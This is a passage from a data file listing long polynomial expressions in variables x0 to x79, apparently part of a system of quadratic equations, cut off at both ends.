x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x74 + x13*x76 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x49 + x14*x50 + x14*x51 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x61 + x14*x62 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x77 + x14 + x15*x16 + x15*x18 + x15*x20 + x15*x23 + x15*x31 + x15*x32 + x15*x36 + x15*x37 + x15*x44 + x15*x45 + x15*x47 + x15*x48 + x15*x51 + x15*x54 + x15*x56 + x15*x57 + x15*x60 + x15*x61 + x15*x63 + x15*x64 + x15*x69 + x15*x71 + x15*x73 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x22 + x16*x24 + x16*x25 + x16*x27 + x16*x29 + x16*x34 + x16*x35 + x16*x39 + x16*x43 + x16*x46 + x16*x47 + x16*x49 + x16*x50 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x60 + x16*x61 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x26 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x38 + x17*x39 + x17*x43 + x17*x48 + x17*x49 + x17*x52 + x17*x55 + x17*x56 + x17*x61 + x17*x62 + x17*x63 + x17*x65 + x17*x68 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x43 + x18*x47 + x18*x49 + x18*x50 + x18*x51 + x18*x55 + x18*x56 + x18*x59 + x18*x62 + x18*x64 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x75 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x27 + x19*x30 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x41 + x19*x44 + x19*x45 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x59 + x19*x61 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x77 + x19*x79 + x20*x21 + x20*x23 + x20*x25 + x20*x27 + x20*x28 + x20*x32 + x20*x33 + x20*x36 + x20*x39 + x20*x43 + x20*x46 + x20*x47 + x20*x49 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x72 + x20*x73 + x20*x77 + x20 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x38 + x21*x39 + x21*x41 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x58 + x21*x60 + x21*x61 + x21*x65 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x74 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x31 + x22*x32 + x22*x33 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x52 + x22*x57 + x22*x58 + x22*x62 + x22*x63 + x22*x64 + x22*x70 + x22*x71 + x22*x74 + x22*x75 + x22*x78 + x22 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x39 + x23*x40 + x23*x43 + x23*x44 + x23*x46 + x23*x47 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x60 + x23*x64 + x23*x66 + x23*x67 + x23*x69 + x23*x70 + x23*x71 + x23*x75 + x23*x78 + x24*x25 + x24*x26 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x57 + x24*x58 + x24*x60 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x31 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x45 + x25*x46 + x25*x51 + x25*x55 + x25*x57 + x25*x61 + x25*x62 + x25*x63 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x31 + x26*x33 + x26*x35 + x26*x38 + x26*x41 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x49 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x64 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x78 + x27*x30 + x27*x32 + x27*x35 + x27*x38 + x27*x40 + x27*x42 + x27*x44 + x27*x49 + x27*x51 + x27*x53 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x63 + x27*x64 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x43 + x28*x45 + x28*x48 + x28*x49 + x28*x52 + x28*x53 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x60 + x28*x65 + x28*x67 + x28*x68 + x28*x70 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x44 + x29*x47 + x29*x48 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x62 + x29*x66 + x29*x67 + x29*x70 + x29*x73 + x29*x74 + x29*x75 + x29 + x30*x32 + x30*x33 + x30*x36 + x30*x38 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x51 + x30*x56 + x30*x69 + x30*x70 + x30*x73 + x30*x74 + x30*x75 + x31*x34 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x54 + x31*x55 + x31*x62 + x31*x65 + x31*x66 + x31*x68 + x31*x69 + x31*x72 + x31*x77 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x44 + x32*x50 + x32*x51 + x32*x54 + x32*x55 + x32*x57 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x72 + x32*x76 + x32*x77 + x32*x79 + x33*x40 + x33*x42 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x61 + x33*x63 + x33*x68 + x33*x70 + x33*x71 + x33*x74 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x35 + x34*x37 + x34*x38 + x34*x39 + x34*x41 + x34*x42 + x34*x44 + x34*x45 + x34*x46 + x34*x48 + x34*x53 + x34*x56 + x34*x57 + x34*x60 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x69 + x34*x72 + x34*x75 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x59 + x35*x64 + x35*x66 + x35*x67 + x35*x70 + x35*x75 + x35*x76 + x35*x78 + x36*x37 + x36*x41 + x36*x45 + x36*x49 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x57 + x36*x61 + x36*x64 + x36*x66 + x36*x68 + x36*x70 + x36*x74 + x36*x75 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x49 + x37*x53 + x37*x56 + x37*x61 + x37*x62 + x37*x63 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x78 + x37*x79 + x37 + x38*x41 + x38*x42 + x38*x43 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x59 + x38*x63 + x38*x64 + x38*x69 + x38*x70 + x38*x73 + x38*x74 + x38 + x39*x41 + x39*x42 + x39*x44 + x39*x48 + x39*x49 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x74 + x39*x75 + x39 + x40*x41 + x40*x42 + x40*x44 + x40*x49 + x40*x58 + x40*x60 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x71 + x40*x74 + x40*x78 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x55 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x71 + x41*x72 + x41*x77 + x41*x78 + x42*x43 + x42*x44 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x60 + x42*x61 + x42*x64 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x72 + x43*x79 + x44*x45 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x64 + x44*x65 + x44*x67 + x44*x70 + x44*x71 + x44*x74 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x45*x59 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x65 + x45*x68 + x45*x69 + x45*x73 + x45*x74 + x45*x76 + x46*x48 + x46*x51 + x46*x57 + x46*x62 + x46*x63 + x46*x67 + x46*x71 + x46*x73 + x46*x75 + x46*x76 + x46*x79 + x47*x48 + x47*x49 + x47*x51 + x47*x54 + x47*x55 + x47*x60 + x47*x62 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x74 + x47*x77 + x47 + x48*x51 + x48*x53 + x48*x55 + x48*x57 + x48*x60 + x48*x62 + x48*x63 + x48*x65 + x48*x70 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x54 + x49*x59 + x49*x61 + x49*x62 + x49*x64 + x49*x65 + x49*x66 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x78 + x50*x51 + x50*x53 + x50*x55 + x50*x56 + x50*x59 + x50*x60 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x69 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x50*x77 + x50*x79 + x51*x54 + x51*x55 + x51*x56 + x51*x60 + x51*x62 + x51*x65 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x75 + x51*x76 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x57 + x52*x58 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x68 + x52*x71 + x52*x74 + x52*x75 + x52*x76 + x52*x79 + x53*x55 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x64 + x53*x66 + x53*x74 + x53*x75 + x53 + x54*x55 + x54*x57 + x54*x60 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x68 + x54*x71 + x54*x72 + x54*x75 + x54*x77 + x55*x56 + x55*x57 + x55*x58 + x55*x68 + x55*x69 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x77 + x55*x79 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x67 + x56*x68 + x56*x69 + x56*x71 + x56*x72 + x56*x73 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x79 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x74 + x58*x75 + x58*x76 + x58*x79 + x58 + x59*x60 + x59*x66 + x59*x67 + x59*x68 + x59*x70 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59 + x60*x61 + x60*x63 + x60*x64 + x60*x65 + x60*x67 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x71 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x73 + x65*x76 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x72 + x70*x73 + x70*x74 + x70*x79 + x71*x75 + x71*x77 + x71*x78 + x72*x73 + x72*x74 + x72*x78 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x76 + x74*x78 + x74 + x75*x76 + x75*x77 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x77*x78, x0*x1 + x0*x4 + x0*x6 + x0*x12 + x0*x20 + x0*x21 + x0*x25 + x0*x26 + x0*x27 + x0*x30 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x41 + x0*x45 + x0*x46 + x0*x47 + x0*x49 + x0*x50 + x0*x51 + x0*x56 + x0*x60 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x73 + x0*x77 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x12 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x59 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x74 + x1*x75 + x1*x79 + x1 + x2*x3 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x11 + x2*x14 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x67 + x2*x70 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x20 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x42 + x3*x43 + x3*x45 + x3*x46 + x3*x50 + x3*x52 + x3*x53 + x3*x55 + x3*x57 + x3*x58 + x3*x59 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x69 + x3*x71 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x13 + x4*x16 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x33 + x4*x35 + x4*x41 + x4*x47 + x4*x48 + x4*x56 + x4*x58 + x4*x59 + x4*x63 + x4*x64 + x4*x66 + x4*x72 + x4*x73 + x4*x75 + x4*x77 + x4*x78 + x5*x7 + x5*x8 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x26 + x5*x28 + x5*x31 + x5*x32 + x5*x34 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x45 + x5*x46 + x5*x47 + x5*x52 + x5*x54 + x5*x55 + x5*x57 + x5*x61 + x5*x66 + x5*x67 + x5*x69 + x5*x73 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x19 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x30 + x6*x31 + x6*x32 + x6*x36 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x54 + x6*x56 + x6*x59 + x6*x61 + x6*x62 + x6*x63 + x6*x70 + x6*x72 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x23 + x7*x25 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x42 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x58 + x7*x59 + x7*x60 + x7*x64 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x79 + x8*x10 + x8*x19 + x8*x21 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x38 + x8*x40 + x8*x42 + x8*x45 + x8*x46 + x8*x50 + x8*x52 + x8*x54 + x8*x57 + x8*x60 + x8*x61 + x8*x63 + x8*x68 + x8*x69 + x8*x73 + x8*x77 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x18 + x9*x20 + x9*x26 + x9*x27 + x9*x28 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x40 + x9*x41 + x9*x48 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x62 + x9*x66 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x10*x13 + x10*x17 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x27 + x10*x28 + x10*x29 + x10*x32 + x10*x35 + x10*x36 + x10*x37 + x10*x39 + x10*x41 + x10*x43 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x63 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x11*x12 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x30 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x38 + x11*x40 + x11*x42 + x11*x43 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x21 + x12*x27 + x12*x28 + x12*x30 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x72 + x12*x73 + x12*x74 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x17 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x32 + x13*x34 + x13*x37 + x13*x38 + x13*x39 + x13*x45 + x13*x49 + x13*x50 + x13*x51 + x13*x58 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x77 + x14*x16 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x26 + x14*x28 + x14*x32 + x14*x33 + x14*x35 + x14*x39 + x14*x40 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x21 + x15*x27 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x37 + x15*x39 + x15*x42 + x15*x43 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x56 + x15*x57 + x15*x59 + x15*x62 + x15*x66 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x77 + x16*x20 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x53 + x16*x59 + x16*x60 + x16*x62 + x16*x63 + x16*x65 + x16*x67 + x16*x68 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x17*x22 + x17*x24 + x17*x28 + x17*x29 + x17*x32 + x17*x35 + x17*x40 + x17*x41 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x67 + x17*x68 + x17*x69 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17*x78 + x18*x20 + x18*x21 + x18*x22 + x18*x24 + x18*x27 + x18*x28 + x18*x29 + x18*x32 + x18*x33 + x18*x34 + x18*x37 + x18*x38 + x18*x41 + x18*x43 + x18*x46 + x18*x47 + x18*x48 + x18*x50 + x18*x51 + x18*x53 + x18*x54 + x18*x57 + x18*x58 + x18*x68 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x20 + x19*x21 + x19*x27 + x19*x30 + x19*x31 + x19*x35 + x19*x38 + x19*x39 + x19*x40 + x19*x42 + x19*x46 + x19*x48 + x19*x49 + x19*x55 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x66 + x19*x69 + x19*x71 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x43 + x20*x44 + x20*x51 + x20*x53 + x20*x55 + x20*x57 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x69 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x21*x23 + x21*x24 + x21*x25 + x21*x30 + x21*x31 + x21*x33 + x21*x36 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x55 + x21*x60 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x70 + x21*x71 + x21*x78 + x21*x79 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x33 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x51 + x22*x54 + x22*x55 + x22*x56 + x22*x57 + x22*x60 + x22*x64 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x73 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x25 + x23*x27 + x23*x28 + x23*x30 + x23*x34 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x66 + x23*x67 + x23*x71 + x23*x72 + x23*x77 + x23*x78 + x23 + x24*x26 + x24*x28 + x24*x30 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x40 + x24*x42 + x24*x45 + x24*x48 + x24*x49 + x24*x51 + x24*x58 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x68 + x24*x69 + x24*x70 + x24*x74 + x24*x78 + x24 + x25*x26 + x25*x28 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x45 + x25*x46 + x25*x47 + x25*x50 + x25*x52 + x25*x53 + x25*x54 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x66 + x25*x69 + x25*x71 + x25*x73 + x25*x79 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x78 + x27*x37 + x27*x38 + x27*x44 + x27*x46 + x27*x48 + x27*x50 + x27*x51 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x64 + x27*x66 + x27*x68 + x27*x71 + x27*x73 + x27*x75 + x27*x76 + x27*x78 + x28*x29 + x28*x30 + x28*x31 + x28*x37 + x28*x38 + x28*x40 + x28*x41 + x28*x42 + x28*x44 + x28*x47 + x28*x50 + x28*x52 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x63 + x28*x66 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x76 + x28*x78 + x28 + x29*x30 + x29*x35 + x29*x36 + x29*x37 + x29*x40 + x29*x44 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x77 + x30*x31 + x30*x32 + x30*x34 + x30*x38 + x30*x39 + x30*x43 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x58 + x30*x59 + x30*x61 + x30*x62 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x74 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x47 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x60 + x31*x62 + x31*x63 + x31*x68 + x31*x69 + x31*x72 + x31*x73 + x31*x76 + x31*x77 + x31*x78 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x43 + x32*x44 + x32*x46 + x32*x47 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x58 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x73 + x32*x76 + x32*x77 + 